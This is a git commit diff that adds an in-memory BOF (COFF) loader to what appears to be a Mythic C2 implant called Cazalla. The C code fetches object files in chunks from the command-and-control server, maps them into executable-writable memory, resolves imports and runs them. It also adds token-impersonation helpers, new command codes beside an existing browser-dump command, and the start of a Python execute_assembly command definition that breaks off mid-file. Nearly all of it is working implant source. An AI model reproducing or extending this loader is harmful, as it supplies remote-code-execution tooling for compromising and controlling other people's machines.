Bof Loader implemented

This commit is contained in:
marcos.luna
2025-12-11 15:41:44 +01:00
parent e688609c0e
commit 3978a16fab
24 changed files with 2135 additions and 6 deletions
@@ -183,6 +183,22 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) {
_inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea);
DumparNavegador(analizadorTarea);
_inf("===== BROWSER_DUMP_CMD COMPLETED =====");
} else if (tarea == INLINE_EXECUTE_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea);
InlineExecuteHandler(analizadorTarea);
_inf("===== INLINE_EXECUTE_CMD COMPLETED =====");
} else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) {
_inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
// This command is typically handled via subtasks in Python
// But if called directly, we'll handle it here
_wrn("inline_execute_assembly should be called via subtasks");
if (analizadorTarea) liberarAnalizador(analizadorTarea);
} else if (tarea == EXECUTE_ASSEMBLY_CMD) {
_inf("===== PROCESSING EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea);
// This command is typically handled via subtasks in Python (inject_shellcode)
// But if called directly, we'll handle it here
_wrn("execute_assembly should be called via subtasks");
if (analizadorTarea) liberarAnalizador(analizadorTarea);
} else {
_wrn("Tarea desconocida: 0x%02x", tarea);
_wrn("Tarea %u: Comando desconocido, liberando recursos", i+1);
@@ -16,6 +16,7 @@
#include "rpfwd_manager.h"
#include "browser_info.h"
#include "browser_dump.h"
#include "inline_execute.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
@@ -63,6 +64,11 @@
/* Browser dump command */
#define BROWSER_DUMP_CMD 0x41
/* BOF and Assembly execution commands */
#define INLINE_EXECUTE_CMD 0x70
#define INLINE_EXECUTE_ASSEMBLY_CMD 0x71
#define EXECUTE_ASSEMBLY_CMD 0x72
/* Extension marker to carry SOCKS array in binary messages */
#define SOCKS_BLOCK_MARKER 0xF5
/* Extension marker to carry RPFWD array in binary messages */
@@ -0,0 +1,696 @@
#include "cazalla.h"
#include "inline_execute.h"
#include "comandos.h"
#include "paquete.h"
#include "SistemadeFicheros.h"
#include "utils.h"
#include <string.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
/*
* Beacon Compatibility Layer - Simple output buffering for BOFs
* These functions are called by BOFs and capture their output
*/
static char* beacon_output_buffer = NULL;
static int beacon_output_size = 0;
static int beacon_output_offset = 0;
// BeaconPrintf - Capture formatted output from BOFs
void BeaconPrintf(int type, char* fmt, ...) {
va_list args;
int length = 0;
char* tempptr = NULL;
va_start(args, fmt);
length = vsnprintf(NULL, 0, fmt, args);
va_end(args);
if (length <= 0) return;
tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + length + 1);
if (tempptr == NULL) {
_err("[BeaconPrintf] Error reasignando memoria");
return;
}
beacon_output_buffer = tempptr;
memset(beacon_output_buffer + beacon_output_offset, 0, length + 1);
va_start(args, fmt);
length = vsnprintf(beacon_output_buffer + beacon_output_offset, length + 1, fmt, args);
beacon_output_size += length;
beacon_output_offset += length;
va_end(args);
_inf("[BeaconPrintf] Output capturado: %d bytes, total buffer: %d bytes", length, beacon_output_size);
}
// BeaconOutput - Capture raw output from BOFs
void BeaconOutput(int type, char* data, int len) {
char* tempptr = NULL;
if (!data || len <= 0) return;
tempptr = (char*)realloc(beacon_output_buffer, beacon_output_size + len + 1);
if (tempptr == NULL) {
_err("[BeaconOutput] Error reasignando memoria");
return;
}
beacon_output_buffer = tempptr;
memset(beacon_output_buffer + beacon_output_offset, 0, len + 1);
memcpy(beacon_output_buffer + beacon_output_offset, data, len);
beacon_output_size += len;
beacon_output_offset += len;
_inf("[BeaconOutput] Output capturado: %d bytes, total buffer: %d bytes", len, beacon_output_size);
}
// BeaconGetOutputData - Get captured output (caller must free)
char* BeaconGetOutputData(int* outsize) {
char* outdata = beacon_output_buffer;
*outsize = beacon_output_size;
beacon_output_buffer = NULL;
beacon_output_size = 0;
beacon_output_offset = 0;
return outdata;
}
// BeaconDataParse - Parse data structure for BOFs
typedef struct {
char* original;
char* buffer;
int length;
int size;
} datap;
void BeaconDataParse(datap* parser, char* buffer, int size) {
if (parser == NULL) return;
parser->original = buffer;
parser->buffer = buffer;
parser->length = size - 4;
parser->size = size - 4;
parser->buffer += 4;
}
int BeaconDataInt(datap* parser) {
int32_t fourbyteint = 0;
if (parser->length < 4) return 0;
memcpy(&fourbyteint, parser->buffer, 4);
parser->buffer += 4;
parser->length -= 4;
return (int)fourbyteint;
}
short BeaconDataShort(datap* parser) {
int16_t retvalue = 0;
if (parser->length < 2) return 0;
memcpy(&retvalue, parser->buffer, 2);
parser->buffer += 2;
parser->length -= 2;
return (short)retvalue;
}
int BeaconDataLength(datap* parser) {
return parser->length;
}
char* BeaconDataExtract(datap* parser, int* size) {
UINT32 length = 0;
char* outdata = NULL;
if (parser->length < 4) return NULL;
memcpy(&length, parser->buffer, 4);
parser->buffer += 4;
outdata = parser->buffer;
if (outdata == NULL) return NULL;
parser->length -= 4;
parser->length -= length;
parser->buffer += length;
if (size != NULL && outdata != NULL) {
*size = length;
}
return outdata;
}
// Token functions (using Windows APIs directly)
BOOL BeaconUseToken(HANDLE token) {
return SetThreadToken(NULL, token);
}
void BeaconRevertToken(void) {
RevertToSelf();
}
BOOL BeaconIsAdmin(void) {
// Basic implementation - can be enhanced
return FALSE;
}
/*
* GetFileBytesFromMythic - Fetch a file from Mythic server using file_id
* Adapted from Cazalla's upload mechanism
*/
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof) {
#define CHUNK_SIZE 512000 // 512 KB
_inf("[inline_execute] Obteniendo archivo BOF de Mythic: %.*s", 36, fileId);
DWORD status = 0;
PBYTE dataBuffer = NULL;
SIZE_T bytesAvailable = 0;
SIZE_T totalBytesRead = 0;
UINT32 currentChunk = 1;
UINT32 totalChunks = 0;
// Initialize BOF structure
memset(bof, 0, sizeof(BOF_UPLOAD));
strncpy(bof->fileUuid, fileId, 36);
bof->fileUuid[36] = '\0';
bof->currentChunk = 1;
dataBuffer = (PBYTE)LocalAlloc(LPTR, CHUNK_SIZE);
if (!dataBuffer) {
_err("[inline_execute] Error alocar memoria para buffer");
return GetLastError();
}
bytesAvailable = CHUNK_SIZE;
do {
// Create upload request
PPaquete requestPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
addString(requestPaquete, taskUuid, FALSE);
// Add empty output (required for upload request format, same as upload command)
addInt32(requestPaquete, 0);
// Add upload request marker and data
addUploadRequest(requestPaquete, fileId, CHUNK_SIZE, currentChunk, "temp_bof");
// Send request and get response
PAnalizador respuesta = mandarPaquete(requestPaquete);
liberarPaquete(requestPaquete);
if (!respuesta) {
_err("[inline_execute] No se recibió respuesta para chunk %u", currentChunk);
status = 1;
goto cleanup;
}
// Debug: log response size
_dbg("[inline_execute] Respuesta recibida para chunk %u: %zu bytes", currentChunk, respuesta->tamano);
// Extract upload response (same format as upload command)
// Look for 0xF9 marker
PBYTE buffer = respuesta->buffer;
SIZE_T len = respuesta->tamano;
BOOL found = FALSE;
// Debug: log first few bytes to see what we're getting
if (len > 0) {
_dbg("[inline_execute] Primeros bytes de respuesta: 0x%02X 0x%02X 0x%02X 0x%02X",
len > 0 ? buffer[0] : 0,
len > 1 ? buffer[1] : 0,
len > 2 ? buffer[2] : 0,
len > 3 ? buffer[3] : 0);
}
for (SIZE_T i = 0; i < len - 13; i++) {
if (buffer[i] == 0xF9) {
i++;
// Extract total_chunks
if (i + 4 > len) break;
totalChunks = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
i += 4;
// Extract chunk_num
if (i + 4 > len) break;
UINT32 chunkNum = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
i += 4;
// Extract chunk_data length
if (i + 4 > len) break;
UINT32 chunkDataLen = (buffer[i] << 24) | (buffer[i+1] << 16) | (buffer[i+2] << 8) | buffer[i+3];
i += 4;
if (chunkDataLen == 0 || chunkDataLen > 1024 * 1024 || i + chunkDataLen > len) {
break;
}
// Decode base64 chunk data
PCHAR chunkDataB64 = (PCHAR)LocalAlloc(LPTR, chunkDataLen + 1);
if (!chunkDataB64) {
liberarAnalizador(respuesta);
status = GetLastError();
goto cleanup;
}
memcpy(chunkDataB64, buffer + i, chunkDataLen);
chunkDataB64[chunkDataLen] = '\0';
// Decode base64
PBYTE decodedData = NULL;
SIZE_T decodedLen = 0;
if (!base64_decode(chunkDataB64, &decodedData, &decodedLen)) {
_err("[inline_execute] Error decodificando base64 para chunk %u", currentChunk);
LocalFree(chunkDataB64);
liberarAnalizador(respuesta);
status = 1;
goto cleanup;
}
// Reallocate buffer if needed
if (totalBytesRead + decodedLen > bytesAvailable) {
bytesAvailable = totalBytesRead + decodedLen;
dataBuffer = (PBYTE)LocalReAlloc(dataBuffer, bytesAvailable, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!dataBuffer) {
_err("[inline_execute] Error reasignando memoria");
LocalFree(chunkDataB64);
LocalFree(decodedData);
liberarAnalizador(respuesta);
status = GetLastError();
goto cleanup;
}
}
// Copy chunk to buffer
memcpy(dataBuffer + totalBytesRead, decodedData, decodedLen);
totalBytesRead += decodedLen;
LocalFree(chunkDataB64);
LocalFree(decodedData);
found = TRUE;
break;
}
}
if (!found) {
_err("[inline_execute] No se encontró respuesta de upload para chunk %u", currentChunk);
liberarAnalizador(respuesta);
status = 1;
goto cleanup;
}
liberarAnalizador(respuesta);
currentChunk++;
} while (currentChunk <= totalChunks);
bof->buffer = dataBuffer;
bof->size = totalBytesRead;
bof->totalChunks = totalChunks;
_inf("[inline_execute] Archivo BOF obtenido: %zu bytes, %u chunks", totalBytesRead, totalChunks);
return 0;
cleanup:
if (dataBuffer) {
LocalFree(dataBuffer);
}
return status;
}
/*
* InternalFunctionMatch - Check if symbol is an internal Beacon function
*/
static BOOL InternalFunctionMatch(char* StrippedSymbolName) {
if (STR_EQUALS(StrippedSymbolName, "Beacon") ||
STR_EQUALS(StrippedSymbolName, "GetProcAddress") ||
STR_EQUALS(StrippedSymbolName, "GetModuleHandleA") ||
STR_EQUALS(StrippedSymbolName, "toWideChar") ||
STR_EQUALS(StrippedSymbolName, "LoadLibraryA") ||
STR_EQUALS(StrippedSymbolName, "FreeLibrary"))
{
return TRUE;
}
return FALSE;
}
/*
* ProcessBeaconSymbols - Resolve Beacon API symbols
*/
static void* ProcessBeaconSymbols(char* SymbolName, BOOL* InternalFunction) {
void* functionaddress = NULL;
char localSymbolNameCopy[1024] = { 0 };
*InternalFunction = FALSE;
char* locallib = NULL;
char* localfunc = SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1;
HMODULE llHandle = NULL;
char* context = NULL;
strncpy_s(localSymbolNameCopy, sizeof(localSymbolNameCopy), SymbolName, sizeof(localSymbolNameCopy) - 1);
// Hash-based function resolution for internal functions
// For now, we'll use direct function resolution
if (InternalFunctionMatch(SymbolName + sizeof(PREPENDSYMBOLVALUE) - 1)) {
*InternalFunction = TRUE;
localfunc = SymbolName + strlen(PREPENDSYMBOLVALUE);
UINT32 hash = custom_hash(localfunc);
// Map common Beacon functions by hash
UINT32 funcHash = hash;
if (funcHash == custom_hash("BeaconDataParse")) {
return (void*)BeaconDataParse;
} else if (funcHash == custom_hash("BeaconPrintf")) {
return (void*)BeaconPrintf;
} else if (funcHash == custom_hash("BeaconOutput")) {
return (void*)BeaconOutput;
} else if (funcHash == custom_hash("GetProcAddress")) {
return (void*)GetProcAddress;
} else if (funcHash == custom_hash("GetModuleHandleA")) {
return (void*)GetModuleHandleA;
} else if (funcHash == custom_hash("LoadLibraryA")) {
return (void*)LoadLibraryA;
} else if (funcHash == custom_hash("FreeLibrary")) {
return (void*)FreeLibrary;
} else if (funcHash == custom_hash("BeaconUseToken")) {
return (void*)BeaconUseToken;
} else if (funcHash == custom_hash("BeaconRevertToken")) {
return (void*)BeaconRevertToken;
} else if (funcHash == custom_hash("BeaconIsAdmin")) {
return (void*)BeaconIsAdmin;
}
} else {
// External symbol - parse library$function format
locallib = strtok_s(localSymbolNameCopy + sizeof(PREPENDSYMBOLVALUE) - 1, "$", &context);
if (locallib) {
llHandle = LoadLibraryA(locallib);
localfunc = strtok_s(NULL, "$", &context);
if (localfunc) {
localfunc = strtok_s(localfunc, "@", &context);
functionaddress = GetProcAddress(llHandle, localfunc);
}
}
}
return functionaddress;
}
/*
* ExecuteEntry - Execute the BOF entry point
*/
static BOOL ExecuteEntry(COFF_t* COFF, char* func, char* args, unsigned long argSize) {
VOID(*foo)(char* in, UINT32 datalen) = NULL;
if (!func || !COFF->FileBase) {
_err("[inline_execute] No entry point provided");
return FALSE;
}
for (UINT32 counter = 0; counter < COFF->FileHeader->NumberOfSymbols; counter++) {
if (strcmp(COFF->SymbolTable[counter].first.Name, func) == 0) {
foo = (void(*)(char*, UINT32))((char*)COFF->RawTextData + COFF->SymbolTable[counter].Value);
_dbg("[inline_execute] Entry point encontrado: 0x%p", foo);
break;
}
}
if (!foo) {
_err("[inline_execute] No se pudo encontrar entry point '%s'", func);
return FALSE;
}
// Execute the BOF
foo((char*)args, (UINT32)argSize);
return TRUE;
}
/*
* RelocationTypeParse - Parse and apply COFF relocations
*/
static void RelocationTypeParse(COFF_t* COFF, void** SectionMapped, int SectionNumber, BOOL* InternalFunction, void* FunctionAddrPTR, char* FunctionMapping) {
UINT32 offsetAddr = 0;
UINT64 longOffsetAddr = 0;
unsigned int Type = COFF->Relocation->Type;
if (Type == IMAGE_REL_AMD64_ADDR64) {
memcpy(&longOffsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(UINT64));
longOffsetAddr = (UINT64)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + (UINT64)longOffsetAddr);
longOffsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &longOffsetAddr, sizeof(UINT64));
}
else if (COFF->Relocation->Type == IMAGE_REL_AMD64_ADDR32NB) {
memcpy(&offsetAddr, (char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, sizeof(INT32));
offsetAddr = ((char*)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] + offsetAddr) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
}
else if (Type == IMAGE_REL_AMD64_REL32) {
if (FunctionAddrPTR != NULL) {
memcpy(FunctionMapping + (COFF->FunctionMappingCount * 8), &FunctionAddrPTR, sizeof(UINT64));
offsetAddr = (INT32)((FunctionMapping + (COFF->FunctionMappingCount * 8)) - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
*InternalFunction = FALSE;
COFF->FunctionMappingCount++;
}
else {
memcpy(&offsetAddr, (void*)((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress), sizeof(UINT32));
offsetAddr += (UINT32)((char*)SectionMapped[COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].SectionNumber - 1] - ((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress + 4));
offsetAddr += COFF->SymbolTable[COFF->Relocation->SymbolTableIndex].Value;
memcpy((char*)SectionMapped[SectionNumber] + COFF->Relocation->VirtualAddress, &offsetAddr, sizeof(UINT32));
}
}
}
/*
* RunCOFF - Load and execute a COFF file
* Adapted from Xenon's COFF loader
*/
BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize) {
COFF_t COFF;
COFF.FileBase = FileData;
COFF.FileHeader = (FileHeader_t*)COFF.FileBase;
COFF.SymbolTable = (Symbol_t*)(COFF.FileBase + COFF.FileHeader->PointerToSymbolTable);
COFF.FunctionMappingCount = 0;
COFF.RelocationsCount = 0;
char* functionMapping = NULL;
void** sectionMapped = (void**)calloc(sizeof(char*) * (COFF.FileHeader->NumberOfSections + 1), 1);
if ((int)COFF.FileHeader->Machine != IMAGE_FILE_MACHINE_AMD64) {
_err("[inline_execute] COFF no soportado: Machine=0x%04X (solo AMD64 soportado)", COFF.FileHeader->Machine);
free(sectionMapped);
return FALSE;
}
// Allocate and map sections
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (i * sizeof(Section_t)));
sectionMapped[i] = (char*)VirtualAlloc(NULL, section->SizeOfRawData, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
if (section->PointerToRawData != 0) {
memcpy(sectionMapped[i], COFF.FileBase + section->PointerToRawData, section->SizeOfRawData);
}
else {
memset(sectionMapped[i], 0, section->SizeOfRawData);
}
if (!strcmp(section->Name, ".text")) {
COFF.RawTextData = sectionMapped[i];
}
COFF.RelocationsCount += section->NumberOfRelocations;
}
// Allocate function mapping
functionMapping = (char*)VirtualAlloc(NULL, COFF.RelocationsCount * 8, MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
// Process relocations
for (int s = 0; s < COFF.FileHeader->NumberOfSections; s++) {
Section_t* section = (Section_t*)(COFF.FileBase + sizeof(FileHeader_t) + (s * sizeof(Section_t)));
COFF.RelocationsTextPTR = COFF.FileBase + section->PointerToRelocations;
for (int i = 0; i < section->NumberOfRelocations; i++) {
UINT32 symbolOffset = 0;
void* funcptrlocation = NULL;
COFF.Relocation = (Relocation_t*)(COFF.RelocationsTextPTR + (i * sizeof(Relocation_t)));
symbolOffset = COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.value[1];
if (COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].first.Name[0] != 0) {
BOOL internalFunc = FALSE;
RelocationTypeParse(&COFF, sectionMapped, s, &internalFunc, NULL, NULL);
}
else {
BOOL internalFunctionCheck = FALSE;
funcptrlocation = ProcessBeaconSymbols(((char*)(COFF.SymbolTable + COFF.FileHeader->NumberOfSymbols)) + symbolOffset, &internalFunctionCheck);
if (funcptrlocation == NULL && COFF.SymbolTable[COFF.Relocation->SymbolTableIndex].SectionNumber == 0) {
_wrn("[inline_execute] No se pudo resolver símbolo");
}
RelocationTypeParse(&COFF, sectionMapped, s, &internalFunctionCheck, funcptrlocation, functionMapping);
}
}
}
// Execute the BOF
if (!ExecuteEntry(&COFF, EntryName, argumentdata, argumentsize)) {
_err("[inline_execute] Error ejecutando entry point");
// Cleanup
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
if (sectionMapped[i] != NULL) {
VirtualFree(sectionMapped[i], 0, MEM_RELEASE);
}
}
free(sectionMapped);
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
return FALSE;
}
// Cleanup
for (BYTE i = 0; i < COFF.FileHeader->NumberOfSections; i++) {
if (sectionMapped[i] != NULL) {
VirtualFree(sectionMapped[i], 0, MEM_RELEASE);
}
}
free(sectionMapped);
if (functionMapping) VirtualFree(functionMapping, 0, MEM_RELEASE);
return TRUE;
}
/*
* ParseBOFArguments - Parse BOF arguments from JSON string
* Returns packed arguments buffer and size
*/
static BOOL ParseBOFArguments(PCHAR argsJson, SIZE_T argsJsonLen, PBYTE* outBuffer, SIZE_T* outSize) {
// For now, we'll pass the JSON string directly
// A full implementation would parse the JSON and pack arguments according to type
*outBuffer = (PBYTE)LocalAlloc(LPTR, argsJsonLen);
if (!*outBuffer) {
return FALSE;
}
memcpy(*outBuffer, argsJson, argsJsonLen);
*outSize = argsJsonLen;
return TRUE;
}
/*
* InlineExecuteHandler - Main handler for inline_execute command
*/
VOID InlineExecuteHandler(PAnalizador argumentos) {
_inf("===== InlineExecuteHandler INICIO =====");
// Read task UUID
SIZE_T uuidLen = 36;
PCHAR taskUuid = getString(argumentos, &uuidLen);
if (!taskUuid || uuidLen != 36) {
_err("InlineExecuteHandler: Error leyendo UUID (len=%zu)", uuidLen);
if (argumentos) liberarAnalizador(argumentos);
return;
}
// Read file_id
SIZE_T fileIdLen = 0;
PCHAR fileId = getString(argumentos, &fileIdLen);
if (!fileId || fileIdLen == 0) {
_err("InlineExecuteHandler: Error leyendo file_id");
if (argumentos) liberarAnalizador(argumentos);
return;
}
// Read arguments (JSON string)
SIZE_T argsLen = 0;
PCHAR argsJson = getString(argumentos, &argsLen);
_dbg("InlineExecuteHandler: taskUuid=%.*s, fileId=%.*s, argsLen=%zu",
36, taskUuid, (int)fileIdLen, fileId, argsLen);
// Create response package
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, taskUuid, FALSE);
// Create output package
PPaquete salida = nuevoPaquete(0, FALSE);
// Fetch BOF file from Mythic
BOF_UPLOAD bof = {0};
DWORD status = GetFileBytesFromMythic(taskUuid, fileId, &bof);
if (status != 0) {
_err("[inline_execute] Error obteniendo archivo BOF de Mythic: %lu", status);
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo obtener el archivo BOF de Mythic (error: %lu)\n", status);
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
if (argumentos) liberarAnalizador(argumentos);
return;
}
// Parse BOF arguments
PBYTE bofArgs = NULL;
SIZE_T bofArgsSize = 0;
if (argsJson && argsLen > 0) {
if (!ParseBOFArguments(argsJson, argsLen, &bofArgs, &bofArgsSize)) {
_err("[inline_execute] Error parseando argumentos BOF");
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudieron parsear los argumentos\n");
}
}
// Clear output buffer before executing BOF
if (beacon_output_buffer) {
free(beacon_output_buffer);
beacon_output_buffer = NULL;
}
beacon_output_size = 0;
beacon_output_offset = 0;
_inf("[inline_execute] Buffer de output limpiado antes de ejecutar BOF");
// Execute the BOF
DWORD fileSize = (DWORD)bof.size;
_inf("[inline_execute] Ejecutando BOF: size=%lu bytes, entry=go", fileSize);
if (!RunCOFF((char*)bof.buffer, &fileSize, "go", (char*)bofArgs, bofArgsSize)) {
_err("[inline_execute] Error ejecutando BOF");
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] Error: No se pudo ejecutar el BOF\n");
} else {
_inf("[inline_execute] BOF ejecutado exitosamente, capturando output...");
// Get output from Beacon compatibility layer
int outdataSize = 0;
PCHAR outdata = BeaconGetOutputData(&outdataSize);
_inf("[inline_execute] Output capturado: size=%d, ptr=%p", outdataSize, outdata);
if (outdata && outdataSize > 0) {
_inf("[inline_execute] Agregando output al paquete: %d bytes", outdataSize);
// Debug: log first 200 bytes of output
int logLen = (outdataSize > 200) ? 200 : outdataSize;
_inf("[inline_execute] Primeros %d bytes del output: %.*s", logLen, logLen, outdata);
addBytes(salida, (PBYTE)outdata, outdataSize, TRUE);
free(outdata);
} else {
_inf("[inline_execute] No hay output del BOF (outdataSize=%d)", outdataSize);
PackageAddFormatPrintf(salida, FALSE, "[inline_execute] BOF ejecutado exitosamente (sin output)\n");
}
}
_inf("[inline_execute] Tamaño del paquete salida antes de agregar a respuesta: %zu bytes", salida->length);
// Add output to response FIRST (before artifacts)
// Format must be: [UUID_tarea][output_len][output][marcadores...]
_inf("[inline_execute] Agregando output a respuesta: %zu bytes", salida->length);
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Add Process Create artifact AFTER output
// BOF execution creates process artifacts
char artifact_buf[512];
if (argsJson && argsLen > 0) {
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s, args=%.*s",
(int)fileIdLen, fileId, (int)(argsLen > 100 ? 100 : argsLen), argsJson);
} else {
snprintf(artifact_buf, sizeof(artifact_buf), "BOF execution: file_id=%.*s", (int)fileIdLen, fileId);
}
addArtifact(respuesta, "Process Create", artifact_buf);
_inf("[inline_execute] Tamaño del paquete respuesta antes de enviar: %zu bytes", respuesta->length);
// Send response
Analizador* respuestaAnalizador = mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
if (respuestaAnalizador) liberarAnalizador(respuestaAnalizador);
// Cleanup
if (bof.buffer) LocalFree(bof.buffer);
if (bofArgs) LocalFree(bofArgs);
if (argumentos) liberarAnalizador(argumentos);
_inf("===== InlineExecuteHandler FIN =====");
}
@@ -0,0 +1,107 @@
#pragma once
#ifndef INLINE_EXECUTE_H
#define INLINE_EXECUTE_H
#include "analizador.h"
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif
#if defined(__x86_64__) || defined(_WIN64)
#define PREPENDSYMBOLVALUE "__imp_"
#else
#define PREPENDSYMBOLVALUE "__imp__"
#endif
#define STR_EQUALS(str, substr) (strncmp(str, substr, strlen(substr)) == 0)
// COFF relocation types (from winnt.h)
#define IMAGE_REL_AMD64_ADDR64 0x0001
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
#define IMAGE_REL_AMD64_REL32 0x0004
#define IMAGE_FILE_MACHINE_AMD64 0x8664
// COFF File Header
typedef struct coff_file_header {
UINT16 Machine;
UINT16 NumberOfSections;
UINT32 TimeDateStamp;
UINT32 PointerToSymbolTable;
UINT32 NumberOfSymbols;
UINT16 SizeOfOptionalHeader;
UINT16 Characteristics;
} FileHeader_t;
#pragma pack(push,1)
// COFF Section Table
typedef struct coff_sections_table {
char Name[8];
UINT32 VirtualSize;
UINT32 VirtualAddress;
UINT32 SizeOfRawData;
UINT32 PointerToRawData;
UINT32 PointerToRelocations;
UINT32 PointerToLineNumbers;
UINT16 NumberOfRelocations;
UINT16 NumberOfLinenumbers;
UINT32 Characteristics;
} Section_t;
// COFF Relocations
typedef struct coff_relocations {
UINT32 VirtualAddress;
UINT32 SymbolTableIndex;
UINT16 Type;
} Relocation_t;
// COFF Symbols Table
typedef struct coff_symbols_table {
union {
char Name[8];
UINT32 value[2];
} first;
UINT32 Value;
UINT16 SectionNumber;
UINT16 Type;
UINT8 StorageClass;
UINT8 NumberOfAuxSymbols;
} Symbol_t;
#pragma pack(pop)
// COFF structure
typedef struct COFF {
char* FileBase;
FileHeader_t* FileHeader;
Relocation_t* Relocation;
Symbol_t* SymbolTable;
void* RawTextData;
char* RelocationsTextPTR;
int RelocationsCount;
int FunctionMappingCount;
} COFF_t;
// BOF Upload structure
typedef struct _BOF_UPLOAD {
CHAR fileUuid[37]; // File UUID (36 + 1 for null terminator)
UINT32 totalChunks; // Total number of chunks
UINT32 currentChunk; // Current chunk number
SIZE_T size; // Size of the file
PVOID buffer; // Pointer to BOF buffer data
} BOF_UPLOAD, *PBOF_UPLOAD;
// Function declarations
VOID InlineExecuteHandler(PAnalizador argumentos);
BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize);
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof);
#ifdef __cplusplus
}
#endif
#endif // INLINE_EXECUTE_H
@@ -185,3 +185,18 @@ int base64_encode(const unsigned char *data, size_t dlen, char **out_b64) {
_dbg("base64_encode: encoded len=%zu -> out=%p", dlen, (void*)*out_b64);
return 1;
}
/* Hash function for BOF function resolution (FNV-1a algorithm) */
#define HASH_SEED 0x811C9DC5
#define HASH_PRIME 0x01000193
UINT32 custom_hash(const char *data) {
UINT32 hash = HASH_SEED;
if (!data) return 0;
while (*data) {
hash ^= (UINT8)(*data);
hash *= HASH_PRIME;
data++;
}
return hash;
}
@@ -33,4 +33,7 @@ int base64_decode(const char *b64, unsigned char **out, size_t *out_len);
int base64_encode(const unsigned char *data, size_t dlen, char **out_b64);
/* Sets *out_b64 to a LocalAlloc'd null-terminated string. Returns 1 on success, 0 on fail. */
/* Hash function for BOF function resolution (FNV-1a) */
UINT32 custom_hash(const char *data);
#endif
@@ -0,0 +1,220 @@
from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
import logging
import os
import tempfile
logging.basicConfig(level=logging.INFO)
class ExecuteAssemblyArguments(TaskArguments):
def __init__(self, command_line, **kwargs):
super().__init__(command_line, **kwargs)
self.args = [
CommandParameter(
name="assembly_name",
cli_name="Assembly",
display_name="Assembly",
type=ParameterType.ChooseOne,
dynamic_query_function=self.get_files,
description="Already existing .NET assembly to execute (e.g. SharpUp.exe)",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="Default",
ui_position=1
)
]),
CommandParameter(
name="assembly_file",
display_name="New Assembly",
type=ParameterType.File,
description="A new .NET assembly to execute. After uploading once, you can just supply the -Assembly parameter",
parameter_group_info=[
ParameterGroupInfo(
required=True,
group_name="New Assembly",
ui_position=1,
)
]
),
CommandParameter(
name="assembly_arguments",
cli_name="Arguments",
display_name="Arguments",
type=ParameterType.String,
description="Arguments to pass to the assembly.",
default_value="",
parameter_group_info=[
ParameterGroupInfo(
required=True, group_name="Default", ui_position=2,
),
ParameterGroupInfo(
required=True, group_name="New Assembly", ui_position=2
),
],
),
]
async def get_files(self, callback: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse:
